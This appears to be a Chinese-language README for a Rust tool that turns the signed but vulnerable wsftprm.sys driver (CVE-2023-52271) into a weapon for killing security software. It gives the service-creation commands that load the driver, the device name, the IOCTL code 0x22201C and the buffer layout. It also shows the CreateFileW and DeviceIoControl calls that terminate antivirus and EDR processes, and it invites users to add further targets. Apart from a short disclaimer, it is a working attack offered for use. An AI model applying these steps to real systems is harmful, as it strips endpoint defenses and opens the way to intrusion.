https://github.com/user-attachments/assets/1eda3340-2af2-4136-b74e-be7a3f4b3924
本项目演示了如何将一个合法且已签名的驱动程序武器化,以获得内核级访问权限。
wsftprm.sys,由 TPZ SOLUCOES DIGITAIS LTDA 签名,此前已被公开披露存在本地权限提升漏洞(CVE-2023-52271),但不知为何仍未出现在微软的驱动黑名单中!!🤫🤫
该漏洞通过 IOCTL 码 0x22201C 触发,缓冲区大小为 1036 字节,其中前 4 字节包含目标进程 ID(DWORD 格式)。存在漏洞的驱动在通过 DeviceIoControl 接收此恶意 IOCTL 后,会调用导入的 ZwTerminateProcess 函数,从而允许任何用户态应用程序具备内核级的进程终止能力。
任何明智的威胁行为者自然会优先利用此能力来终止关键的防病毒(AV)和端点检测与响应(EDR)进程。
以管理员权限启动 cmd.exe,并注册一个类型为 "kernel"、binPath 指向漏洞驱动所在位置的内核驱动服务。
> sc create MalDriver binPath= <path> type= Kernel`
> sc start MalDriver
加载后,该驱动会创建一个用户态可访问的符号链接 \\.\Warsaw_PM。我们可以通过 CreateFileW API 调用来获取驱动设备的句柄。
> CreateFileW(device_name.as_ptr(), GENERIC_READ | GENERIC_WRITE, 0, ptr::null_mut(), OPEN_EXISTING, 0, ptr::null_mut())
要发送恶意 IOCTL,我们将使用 DeviceIoControl,码值为 0x22201C,缓冲区前 4 字节包含 PID。
> DeviceIoControl(self.hDriver, 0x22201C, buffer.as_mut_ptr() as LPVOID, buffer.len() as u32, ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut())
Cargo build --release 生成二进制文件。
你可以向目标列表添加更多要终止的进程。
你需确保在使用此工具前已获得适当授权。作者对滥用行为不承担任何责任。
欢迎贡献和建议!如果你有想法、改进意见或希望合作,请随时通过以下方式联系: [email protected]